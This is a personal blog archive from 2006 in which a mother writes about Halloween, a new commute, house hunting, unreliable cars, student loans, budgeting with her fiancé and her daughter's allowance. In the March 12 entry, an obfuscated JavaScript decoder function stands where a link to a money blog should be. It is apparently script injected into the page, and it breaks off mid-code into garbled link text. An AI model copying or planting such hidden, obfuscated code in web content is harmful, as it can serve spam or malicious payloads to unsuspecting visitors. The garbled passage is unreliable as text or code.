I’m on candy distribution duty — Alex and Chris are scavenging for candy in the neighborhood. I was certain that we didn’t have enough candy, that there would be children beating down the door, but so far there have just been a couple handfuls. Perhaps all the millions of children I see every day are doing the “better neighborhood” approach — off at friends or even strangers neighborhoods known for good sugary loot. The first major wave of kids came in a mass group with no costumes — not one — and backpacks out stretched for candy — they got the lame candy.

Hopefully more children will appear because I’ve got no other reason to be sitting in semidarkness with a skull topped bowl full of goodies on a Tuesday evening. There are so many other things I could be doing — like, making dinner? heh, this is better than doing that. :)

I wore festive colors to work and was joined by just two other costumed/accessorized colleagues enjoying the holiday. I felt a bit self conscious at 6:00am getting on the bus with bleary eyed commuters, but got over it pretty quickly — other than the fact that it was damn hot today and my outfit was full of fuzzy warmness.

Tomorrow starts that National Novel Writing Month — I’m feeling right on track, other than the fact that I have no plot or real idea about what I’m going to write. I’m sure I’l figure it out between now and then, really! There must be plenty of ideas just buried between meetings, email, and project due dates. :) Alex will be coming to work with me tomorrow, maybe that will help spark something.

ooooh — children are knocking … must go give them a reason to brush and floss every day.

September 25, 2006

less time at home

Filed under: family, life — suzanne henderson @ 3:06 pm

So, I’ve entered the workforce again - yay! I’ve also added a commute to my day - yay! Therefore, I’m home much less than I have been - yay! — Oh wait, the commute and being away from home is not the highlight of my day. However, I am actually quite comfortable with the commute for now. Yes, it is a bit long but at least I don’t have to drive. In fact, I’m going to sell my car too.

It is just taking some adjustment to getting up on time every day and out the door by 6:30am. Wow– out the door by 6:30am in hopes of being home by 5:30pm — long day. But, I guess I’ve watched others have much longer days. The commute is 1.5 hours a day, as much as I like to pretend it is only 1. This week will be a trail of getting home and still managing to get dinner cooked. Last week I was hope too late most days. I’ve adjusted my schedule to get home a little earlier so I can feel like I have some of the day for myself.

So, I doubt the updates will come in that often. I’m still on my personal finance kick and working to keep up with that stuff and not so much into posting here. I’ve had some time to catch on a lot of loose ends today, but I doubt that will be the case for the rest of the week.

July 20, 2006

ridiculously happy

Filed under: family, life — suzanne henderson @ 3:10 pm

I’m ridiculously happy and deliriously in love, in all the right ways. I love this feeling, just the ability to stop in the middle of walking to the mail box to smile at life, the ability to catch a flicker of light while driving and laugh out loud, the ability to just let time pass with a grin lingering on my face. This happiness isn’t new for me, I love how long I’ve found life enjoyable, even when things kinda suck. It is wonderful being able to love as I do, for it can be so simple at times and yet so delicately complex with endless intricacies to make me laugh, grin, and smile. Chris makes me smile, but more, he makes me laugh, laugh out loud, laugh until I cry, and makes each day great. Life feels wonderfully good right now, even with all its challenges, its stress, and complications. I’m happy and treasure the fact that life doesn’t have to perfect or in proper order to be happy and that even when stressed and lacking sleep, I can still be happy.

July 10, 2006

housing adventure continues

Filed under: family, life — suzanne henderson @ 1:41 pm

Yet another update of the ever changing wind of where we’ll live in the immediate future. The idea of staying in a one-bedroom basement apt, while had it merits, is not to be due to the requests of the homeowners. I’ve no problem with it cause it isn’t really what I wanted, just a response to the dire situation of not being able to find anything to rent that we can be comfortable in.

But, as of July 1, Chris has a raise and the minimal contribution it will annually provide has provided us an additional 35K of purchasing power. So, back into the housing quest because it is so obvious that it will be cheaper for us, monthly and maybe overall, to purchase versus rent.

We spent Sunday morning looking at 6 or 7 houses — I started to lose track. We found one, a four bedroom house with full basement, a spacious addition, and large yard for less than $200K. It was certainly the best of the bunch, but we’ve got concerns about the water and odor in the basement that we’re going to pass on pursuing. Our loan product requires that the house be in decent condition and we’re not going to spend almost $1K to find out that we won’t be able to get the house. Plus, it is not a neighborhood I was fond of and the middle school is quite poor.

The second to last house we saw was quite small. It is listed as a one bedroom house but has a finished attic currently being used as a bedroom. The attic is even finished properly as it is well insulated and quite cool versus all the other “finished” attics we’ve seen which are sweltering hot. This house is quite small, extremely small — but it suddenly grew in size upon our final house inspection when we saw a house even smaller (and for $12K more). The “one-bedroom” house is our pick of the litter and by no means a dream house for either of us. However, it is in great condition and it will provide us rental income when it comes time in a few years to move. It is in the UMBC area and is quite convenient for students so maybe we’ll rent it out to a graduate student family or something when we feel it is time to move. The house provides a decent school for Alex and a neighborhood that we’ll be happy to be in for a while. Also, we couldn’t afford to rent in this neighborhood for this much space, as limited as it may be.

Of course, we’ve not put a contract on it just yet — so I could be counting way too many chickens before they hatch. As soon as our agent gets back in town today, we’ll be in business to pursue it further. Hopefully this evening even. Also, while we now have another 35K of buying power, we’re only looking to use about 10K of it — just enough to actually open up some possibilities for us but not enough to hang ourselves financially.

Finally, what was our previous compromise to fit 3 people into an 1,000 sq. foot one-bedroom apartment seems reasonable to justify 3 people in a 1,112 square foot (not counting attic & basement) one-bedroom house.

June 21, 2006

junker cars

Filed under: family, life — suzanne henderson @ 2:55 pm

I hate dealing with unreliable transportation — hate it, hate, hate, hate it! It has really been grating on me a lot lately and I think I’ve finally just decided that this not how I chose to get from place to place. Now, I’m not talking about my car. My car is great, I can trust that it will get me from here to there without incident. true, it is getting older and did leave me “stranded” in laurel a month orr two ago — but that isn’t the same as a car that you feel falling apart while you’re driving. My car threw a tensioner, no big deal, things will break. But, when you get into a car and each and every time have to wonder if it will honestly make it to and fro, that is way too stressful for me.

Chris has a blazer that he got for $5 — can you guess the condition? - hint, it was five dollars. Now, he has spent quite a bit fixing all sorts of things that took months to do, but it doesn’t really seem any better off for the effort. So the “family car” as it is called, just cause it does fit the three of us comfortably along with camping gear, was supposed to be ideal for it’s air conditioning. However, it turns out that the mechanic said there is little chance it will work and the only way to check and see is to spend $300 on a repair/test and cross our fingers. Sorry, but $300 on a slim chance isn’t worth it.

I guess I’m all in a fuss because while driving to Hunt Valley yesterday — we need tomato juice and, well, I’ll just say that we needed to drive that far to get it — I spent the entire trip worrying that something was just about to rattle off the car. Sigh. Maybe the car doesn’t need a lot of worry, but I can’t help being concerned when it starts shaking like mad at moderate speeds. yes, my car can get a little shaky around 85 mph but that is solved by a quick tire rotation and balance. The blazer’s shake, on the other hand, feels a little more ominous than that.

Now, we are going to remedy this situation as soon as we can — as in within the next six months. However, we have to get the house first, because banks don’t take too kindly to people extending credit right before signing their life away.

We are trying to figure out what type of car to get next because it is a toss up between a good commuter car or a vehicle that can move stuff. Now, my car gets decent gas milage but lacks a/c. The gas milage of my car makes the saving comparison of buying a commuter car first moot. I’m fairly confident that we will not be buying a second car until next year and I’m not sure we want to wait a year to be able to move stuff. That then means that I’d be stuck driving the newer, larger vehicle which I don’t really want to do. Unless of course I get the DC job, and then guess we’ll need two commuter cars and I’ll get to keep my way-too-hot-in-the-summer car.

diploma arrived

Filed under: school, family, life — suzanne henderson @ 9:33 am

I got it in the mail yesterday, all rolled up in a cardboard tube. Opened it up, admired the fancy lettering and my name written across it. Then, I rolled it back up, put it back in the tube, and tossed it on the shelf and went off to do other things that have nothing to do with the degree. While putting away laundry, it was interesting thinking how there were not papers or anything waiting for my attention. I’m surprised how easy it was for school to take over everything when just a couple years before, daily life wasn’t filled with papers and required readings. Instead, it was scrambling to pay bills, figuring out what activity should fill my time, and letting life pass away.

I’ve been a bit down lately, which fills a bit riduculous since there is so much going on. A dear friend recently pointed out everything I had to be glad about and I guess that just makes me feel a little worse. Of course there is nothing to be down about, but that doesn’t mean it won’t happen just the same. So, I’m just trying to get things done the best that I can and hope they are done in time. But, what I really want to be doing is finding a job, going to work, and bringing in some money. My budget is secured through the summer thanks to my previous planning, so I don’t technically *need* to work, but I sure would like to be kicking some debt butt and not just filling my days with non-financially productive activities.

And, along those lines, we’re heading out the door to the movies. AMC has a summer special with a free movie on Wednesday mornings and I’m taking Alex and two neighborhood kids. I’m taking juice boxes in my purse and will probably buy one things of popcorn for the four of us.

Well, better get going…

May 1, 2006

Student loan: a dowry in reverse? - May. 1, 2006

Filed under: school, family, life — suzanne henderson @ 6:02 pm

Student loan: a dowry in reverse? - May. 1, 2006

It’ll soon be time to start coughing up some serious bucks for the student loans that have bought me a $35K degree in a field that can’t even use BAs. Thankfully I have no real interest in actually working in the field. But, I do have an interest in paying off my student loans and it’ll be quite the payment, I’m sure. All but the last year of my student loans have been consolidated and I’m not sure on what the payment is going to be just yet — I’m sure it is more than I’m currently prepared for, but it’ll get paid regardless.

However, this article made the following point which felt out of place:

“We now burden many young adults with student debt, sometimes massive in nature; the price being paid includes marriages delayed or foregone and fewer children. This is foolish public policy.”

Now, considering the title of this article, I can understand the addressing of delayed marriages and I understand how that leads to fewer children, but to argue that this a foolish public policy because of the implied lack of procreation seems a bit absurd. We don’t need to be reproducing like rabbits, in fact, my desire to have 7 children is totally irresponsible and inconsiderate of the environmental, social, and economic impact adding 6 more people (one has already been added) to the world.

Amassing major debt before one is out of college, especially undergraduate level, is a bad plan for starting off on the right foot - but it is the only plan for many students. Severely low-income families and most working class and middle class families simply can’t afford to pay for their child’s education and it shouldn’t be expected that they will, though it is a major issue they should at least consider and choose an appropriate plan of action suitable for their family situation. Education is a good way for people to get better paying jobs and improve their social situation. Of course, there are other ways too that parents might want to consider instead but it is a good starting point for many people. Starting off in the hole means that students need even more preparation for how to make sound financial decisions during and after college in order to make the best of their situation.

Another site recently stated an expectation and frustration that they were forced into debt through student loans because their parent’s didn’t make better financial choices and set up a college fund for them. Yes, we can hope that parents will look out for their children, but, no, we cannot expect that parents will always do so or do so to the extent of paying the tuition bill that comes due.

I worry that I will have nothing saved for Alex for college. However, I know that I will plan well enough to give her a strong supporting base for college in order to make it possible. I also point out that working hard in school for the right grades to get admission and scholarship packages needs to be part of her college savings plan. Yes, I am willing to help her out but I am not willing to write a blank check for the experience.

April 26, 2006

holy houses, batman

Filed under: family, life — suzanne henderson @ 3:14 pm

Okay, so looking for a house went from several months of causal browsing to “whoa nelly!” I’m finding plenty of things to consider and visit and see what will happen with what I’m willing to offer. However, the first house we saw (well first and only so far — it was on sunday) was a big eye opener and a bit freaky in making us wonder what we’re getting into. But, I think I’ve gotten over that shock, we’ve made some concessions and we’re ready to get down to business.

However, I run into the issue of feeling bad for making the agent show us places. Now — this sounds absolutely ridiculous when I think about it, but I can’t help feeling guilty. And then I have to wonder what messed up childhood mentality has lead me to feel guilty for taking advantage of the service someone will be paid for providing. I guess there is that fear that we won’t buy a house, but that doesn’t feel very likely at the moment , maybe it is because I know the commission won’t be impressive based on what we can afford, but that shouldn’t really matter either. Sigh, I need to get over this because we’ve got a lot of houses coming up that need checking out and I just can’t be feeling bad every time I make a request to see one.

April 8, 2006

child free week

Filed under: school, family — suzanne henderson @ 7:31 pm

So, the girl child with fading red hair has flown off to Oklahoma. I’m a little disappointed that the flame red and yellow-orange locks have faded down to a strawberry blonde dye job gone awry. I know how much my mom loves surprises, of all sorts, and that would be one that she’d get instantly. But, her hair looks pretty normal, just a week or so after dying, in spite of the comments from airport security.

I have a week of childless obligations, which really works out to almost no obligations, that should spent being wild and crazy. Instead, I’ll probably just be catching up on school work, getting ahead on school work, and lingering longer on campus after class. I wish that it would be some wild and crazy times, but I think the Thursday night Beer and then the Friday night to see the Orb was enough to last for a couple months. Also, I’m feeling pretty motivated for cracking down on projects and the ideas are flowing. Pretty soon, all the papers will be turned in and all of the projects will be complete, and I’ll be handed a degree as I walk back into the professional world. I’ll ignore the nagging fear that BA will get me very little and just continue to pretend that there is a wealth of employers lining up outside my door waiting to top each other’s salary and benefit packages — cause, thats just what nonprofits do, didn’t ya know?

April 3, 2006

inflation and fourth grade field trips

Filed under: family — suzanne henderson @ 8:00 am

Alex is going on a field trip this month and the fee is $33.00. Now, perhaps it is just me or my lack of growing up on the east coast, but $33 seems like a pretty steep fee for a field trip. I recall paying $5 for field trips and maybe $10-20 for something really special, like the class field trip to Six Flags. The school is trying to soften the shock of the price by reminding parents that this is the only field trip they are going on this year. For me, I’d be happier spending $11 for 3 different field trips than $33 on one. I’d find a lot more value in multiple opportunities to extend learning beyond the classroom than hoping to cram all the field trip benefits in one single opportunity.

March 12, 2006

MyMoneyBlog: Marriage and Money: Joint Or Split Accounts?

Filed under: family — suzanne henderson @ 7:35 pm

function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand_mo_1.html”>MyMoneyBlog: Marriage and Money: Joint Or Split Accounts?

I was writing up information about my February finances and stumbled upon the question of budgeting and relationships. I had a good start written when I veered off track and went blog surfing and ran across this article which addresses just want I had written.

So, to write it all up again…

I don’t know if my budgeting methods are overly complex or utterly simple. I know that my budgeting technique works for me. I track expenses down to the penny and using my check card makes it that much easier to do. I’ve still not found a way to track cash and have accepted that it is simply an empty category of expense that rarely ever exceeds $20 a month. However, what is going to happen after the wedding…

I already know that I want to have a joint account and joint finances. I’ve often thought that I would never consider such an idea, but I’ve reconsidered those reservations to be geared more toward divorce protection than marriage protection. So, for me it must be a joint endeavor all the way. I also understand that I am in the at-risk position in this relationship, which is amusing since most of my life, I’ve been the one who brought along financial liability luggage to relationships.

So, knowing this from the start, I look forward to setting up a budgeting system that works for both of us. The budget form I’ve been using for the past few years has works great but I can’t imagine how I can add someone else to it. The additional income is no problem, the additional fixed expenses are not a problem either, however, how to put the spending in the proper places?

So, first off, I want to establish a monthly amount for each of us to do with as we please. Whether it be to buy heavy machines (oh dear) or to tuck away into personal account savings/investing. Budgeting items like bills, housing costs, major expenses, and transportation is no problem either. But how to manage walking around money or money spent on things like dining out apart (dining out together can be well managed), does that come from our individual budget for the month or some other category? How will it work when one person spends mostly cash and the other person uses plastic/check cards? How do I let go of my anal accounting methods in order to establish a working budget for two? Can I keep my particularities and create a system that works for both of us?

This is something I’ve spent a lot of time thinking about lately. I don’t know how to solve it yet, I don’t know how to let go of my insistence of using my budget form, I don’t know what the problems are going to be. Yes, we can talk about money and we have similar views about money, but the physical act of combining things still seems daunting.

And, how will my current financial challenges affect us? Like the problem I have with being able to balance my checking account. I can never seem to get it right and so, a couple years ago, I just quit trying. I know that my account has enough in it for what I am going to spend. I know that I can exceed my budget and my account will still have enough in it. In fact, looking at it today, I’ve been trying to wrap my brain around the fact that my budget says I should have less than $100 left for this month and my account shows an amount almost equal to what this months income was. I know it isn’t a budgetal mistake, it is just what has accumulated over the many months where I stay under budget or perhaps where I have simply misadded account activity and ended up well into the black because of it. It certainly isn’t something to complain about, several hundred more in your account than you expected, but it does point out that I still have some work to do and that it might not be possible to allow discrepancies (even positive ones) like this to continue in a joint account situation.

March 1, 2006

How low can you go?

Filed under: family, life — suzanne henderson @ 4:29 pm

Taking care of those you love is important, especially if you plan on linking your life to theirs in the near future. Today, I took on the task of my partner’s credit card companies to see if I could get a lower rate. Now, I’ve read how easy it is to get a lower rate — just call! — and figured it wouldn’t be too hard.

The first company I called required me to argue just enough to be transferred to another department. Here they promptly offered to drop the rate by 2%. I said that wasn’t good enough and so she dropped it 2% more. For some reason, I just accepted this and let it stand that that. It turned out to be a 4.75% drop. However, she did suggest that I call back in the near future, saying that since we were able to go down 4% today, that it could be very possible to go down more at a later date. Over all the call took at most 5 minutes.

The second company I called was even easier. I didn’t have to get transferred to another person to discuss rate reduction. In fact, at the very mention of it, the rate dropped a about 4% first offer. I argued that this wasn’t enough and down another 4% it went. So, within just a minute or two, the rate was 8.5% lower than I’d started with.

The final company I called sucked. Their rate is the highest of all of them and it going up by about 4% later this month. The first person I spoke too said that it was not possible to get a lower rate. I convinced her to let me speak to someone else, and again, I was told that it is not possible. Not only was I not able to get a lower rate but I wouldn’t be able to prevent the rate from going even higher. I got the clear impression that they no long want his business and now we need to look at the best method for transferring that debt to somewhere else.

So, that was an interesting experience. With the first company, I know I should have persisted, especially with the urging that I call back to get an even lower rate. Somehow, my mind almost tells me that was some subtle code for “ask me again and I’ll give you an ever lower rate”. Oh well, I’ll call back next month and see what I can do. He has another account that he called for a lower rate on recently and I want to give them another call and see if I can get it even lower. I’ll call them both then.

Now, I need to figure out what to do about the one card with the very high rate. Since we’re trying to buy a house, it feels like this needs extra thought and planning. Using a card with the 0% balance transfer offer would be nice, but those are mostly on new card offers and it would not look good to be out getting more credit. However, if we just transfer it to another lower rate card, then that will skew the ratio of balance to credit limit and may also hurt us. Hmmm… what to do.

February 28, 2006

Anes Weblog » Retirement Savings for Low Income Earners

Filed under: family, life — suzanne henderson @ 12:41 pm

Anes Weblog » Retirement Savings for Low Income Earners

Retirement! Ack, I still can’t believe that in all my fussing over savings and planning, that I still haven’t taken the steps needed to start a retirement account. And, I must say that I will not be going out and starting one today either, sigh. I guess I can pretend that my “when I get a job” arguments is valid, but it still feels like an excuse. Of course, right now I am putting about $920 into savings to help build up some funds for buying a house. I don’t know how to find more money to put somewhere else because that is really extending my budget pretty far just to get that going. The goal is to not spend all of my savings on the house, but to also be able to use some of the funds to build up to the 6 months of living expenses in easy access savings. I think I will also decide on a set amount to take out and put into a retirement account. I really enjoy dealing with financial planning, but I do need to kick up my efforts a little more.

January 20, 2006

eating through savings

Filed under: family, life — suzanne henderson @ 10:32 am

I put more money into savings yesterday, another $360. That doesn’t really feel like much, but I know that Chris also threw some into his savings account as well. At this rate, we just might actually have some money to buy a house. Actually, I’m feeling much more secure about a lot of money things at this rate. And, since we’re cutting lots of corners to save money, it has me wondering how long we can actually keep cutting corners. What it is basically adding up to be is not going out to eat. I spend over $100 a month on and he probably spends tow to three times that much because he pays for more meals than I do and frequently dines out for lunch. If eating at home is all it takes for us to collectively save more than a thousand dollars a month, why not continue this thread indefinitely?

Eating out has always been my biggest money eater and I used to hate to admit to how much I spent on dining out each month. To maginify the problem, I hate fast food and if I would get over that issue I would be able to maintain my current eating habits on a much smaller budget. Oh course, my health would not thank me, I’m sure. So instead, eating out must always be a sit down dinner and, as of late, at an independently owned restaurant. One tactic I’ve developed to curb this monthly expenditure is to not be selective in my ordering. Instead of spending the bare minimum to get full, I’ll order up anything that we want to eat, wether it be special drinks, appetizers, or a dessert. The logic is that by doing so it costs more to eat out and I need to seriously consider that before walking in a restaurant door. It has worked, actually. Because now I know that it will cost me more than $30 to eat out and that is a lot for a meal.

I like dealing with money issues and looking at these things in more detail. For instances, I’ve noticed that if I keep some snacks on hand in the car or backpack, I am much less likely to feel like I must eat now. It is that sudden urge to eat and the patience that seems to vanish with it that allows my mind to start justifying $20 for lunch (me alone). If I can get a snack that lets me make it home, woohoo! Another important money thing, I feel, it talking to Alex about it. I don’t every recall hearing about money when I was growing up, something that I feel is very important for developing personal responsibility. So, Alex is frequently getting tidbits of financial wisdom/advice/commentary. For instance, I made black beans and rice for dinner this week. Adding everything up, for the three of us, it costs about $3 a plate — probably a little less. We asked alex how much she thinks it costs, per person, when we go out to eat. $15, pretty right on including drink and tip. We then talked about how much money we saved by eating at home ($36). Now, say that we ate out every night (which is a little far fetched, but it made the math easier) eating out would cost $315, eating in $63. Annually, we would be saving $13,104 by eating at home and that is worth a lot of other fun activities. Now, we also covered the fact that rice and beans is a very cheap dinner and that some nights our at-home-meals cost more than that — like it we have steak for dinner at $5 a steak versus $15 a steak when eating out. But still, hopefully it was a fairly useful thing to hear — I hope. Of course, I think she was getting tired of figuring out the math by the end. Since I’ve begun talking to her about money this past year or so, I’ve noticed her considering financial options a little more closely.

And speaking of savings and Alex, I really need to start paying her an allowance again. Technically she gets one, but since I never carry cash, I never give it to her. I think I should work on that. She gets about $4 a week, half of which must go into her savings account and the other is cash. She likes seeing her savings account grow but doesn’t like the idea that she can’t just take it out. I’ve mentioned that if she finds something that she really wants, that is a big ticket item, that she should develop a plan of savings in order to buy it. I think I would like to see her save up a portion of it from her cash money (half would be great) and then be able to use a portion of her savings account money. Money in the bank is easy to save since I usually put it in for her, sometimes she gets to do it. I think it builds more of a saving concept is she has to monitor the cash in hand to save up as well. Or maybe I’m just a mean mom who makes life too hard on a 10 year old girl.

January 11, 2006

for those who need coffee before making coffee

Filed under: family, life — suzanne henderson @ 11:06 am

If I wake up early enough, I like to start coffee for Chris because it really helps him get moving. I typically do this just a few minutes after crawling out of bed and washing my face (what I need to get me going). Today I realized that I am a creature of habit and routine. Making coffee is a simple process: 1. wash out any leftover coffee and fill pot with water 2. fill maker with water and set pot on counter in order to be able to remove filter basket. 3. remove basket and place in filter and coffee grounds 4. replace basket and pot 5. turn coffee maker on.

Now, today I encountered the new coffee maker that he got for Christmas. It is a nice, shiny new model that has an auto-shut off (and lots of other fairly useless features). Unlike his old coffee maker, this filter basket lifts out of the top and does not interfere with the proper placement of the pot. Instead it interferes with the customary coffee making process and routine. Being on autopilot, I still set the pot next to the maker after filling it with water. And, since I only needed to drop the filter basket in the top before turning it on, versus sliding it in before moving the pot into place, I did not have the clear reminded to put the pot in place… as you can imagine, this didn’t turn out well.

Back in bed for the additional morning snuggles until coffee is ready, we heard the strangest sound and couldn’t figure out what it was. Ignoring it as any reasonable, still-tired person would do, we continued snuggling and waited for the new coffee-is-done-alarm to sound. But, once Chris finally made it to the kitchen, he returned astounded and interrogating me about what I *did* to the coffee maker. There, on the counter in the kitchen, were grounds all over the warming plate and a puddle of coffee. Since there was no pot to release into, it simple overflowed from the top (which was better than it just pouring out fresh made coffee–I think). Sigh, so much for being a good girlfriend and making coffee…

guess next time it’d be a good idea to investigate any very unusual sounds one hears in the morning.

January 7, 2006

more details

Filed under: family, life — suzanne henderson @ 8:07 pm

Chris proposed marriage last night. We were out having dinner and right before dessert he asked and got much mumbling, smiling, laughing. He had to ask if I’d answered or not, to which I couldn’t remember for sure if a yes or no had entered into my response, to which I agreed quite clearly. There was a lot of other stuff that went along with it and a better description that could be done, but I still get all silly giddy about it and can’t write up anything comprehensive.

January 3, 2006

holiday meltdown and annual recap

Filed under: family, life — suzanne henderson @ 4:51 pm

A meltdown of pounds, that is. While this holiday has been full of all sorts of yummy goodness that I’ve enjoyed making and partaking of, I was a little nervous about stepping on the scale this morning. I’ve mentioned that I’ve established good eating and fairly regular exercise habits these past several months. I’ve been steadily losing weight, slow but steady, regardless of the number of the days at the gym or at home (some weeks finals and papers came before laps and running). I was shocked to see that despite my daily doses of eggnog, mmmm eggnog, that I am still losing weight. In fact, I lost a little more over the Christmas holiday than when I was hitting the gym every few days. That gave me enough excitement to do an extra 20 minutes of swimming laps today, yay!

So, 2005. Since I have a terrible memory, it is really hard for me to just think about what I did last year. Sure, I could go through my entries and see if anything sticks out at me, but I’d rather just see what I can come up with. I’ll probably forget many important things but oh well.

First, I fell in love with a great guy. That kinda started in 2004, the interactions at least, but it was early in 2005 that I really fell in love. In my family studies class we talked about love and stages of love and how it is love when you shift through the butterflies and see all the cracks and tears and broken parts and still want to be with them. Also, we discussed tolerating the one you love; It kinda seemed strange that this is one of the characteristics of love but I think that is a pretty key point. Now, if all you are doing is tolerating the other person, then you probably need to rethink why you have the relationship. But, if you’ve seen all the wonderful and not-so-wonderful qualities and highly value the ones that are wonderful and understand that the person is not perfect and that you may just have to tolerate some of the things they do — like their ability to just crawl into bed and fall asleep, just like that, lay down and be snoring a few minutes later, gah!. Or, perhaps more importantly, be able to tolerate the fact that they will always buy large, heavy pieces of machinery that may or may not work but that they truly believe they will eventually get around to repairing/using some day. So yes, 2005 was the year to fall in love. 2006 shall be the year to turn that love into a lifelong commitment, more details to be posted.

Second, Alex has shown me just how smart and adaptive she can be. She has really shown some amazing signs of maturity and responsibility this year. She manages to get herself up and ready for school and out the door and to the bus stop, either by bike or foot, every day. I’m so amazed at her ability to regularly take care of this important step and to be responsible enough to do it. She has also taken on cooking dinner more often and will happily volunteer when she knows that I’m too tired or not in the mood to cook. I’m very proud of her and she understands that there is more change afoot and seems eager and willing to see these new changes take place. She has been giving ideas and suggestions about housing options — too bad she doesn’t know just how much some of her ideas would cost — and seems ready to move into a house of our own.

I discovered that camp is an amazing thing. Alex attended for the first time this year and I spent a week there cooking to help make it affordable. I think every child need to go to a place just like that, for at least 2 weeks every summer, and truly get to be a kid. I’m working hard to juggle that extra obligation in with all the upcoming changes because I feel that it is an essential activity for the growing mind and body.

I kicked ass in school. I got one B in the Spring with the rest As. And then, this fall, I managed to pull that up to all As. However, I do have slightly modified expectations for this upcoming semester since I’ll be taking 21 credits. With a course load like that, 4.0 GPA doesn’t really matter. What matters is surviving it all with my wits still about me.

Speaking of of wits, I had the best year in terms of dealing with emotional turmoil and managing the bipolar stuff. I’m on a medication routine that is balanced and has worked wonderfully. I’ve managed to filter out all the unneeded stress in my life and have spent a year being fairly balanced. I’ve established routines and schedules that help my life go smoothly. I stopped seeing my therapist over the summer and once school started we met but I had nothing to talk about. And so it has continued that I have not felt that impending doom or stress waiting to fall, forcing me to make those weekly/bi-weekly visits. Instead, I’ve found ways to deal with the few moments that occasionally come and go and found ways to work everything out on my own. And, importantly, I feel prepared to deal with the upcoming stress of a heavy semester, graduating, buying a house, planning a wedding, and finding and starting a new job.

Last year was a very good year and I look forward to this one being even better. Here is to the excitement that a new year brings and the possibilities laid out before.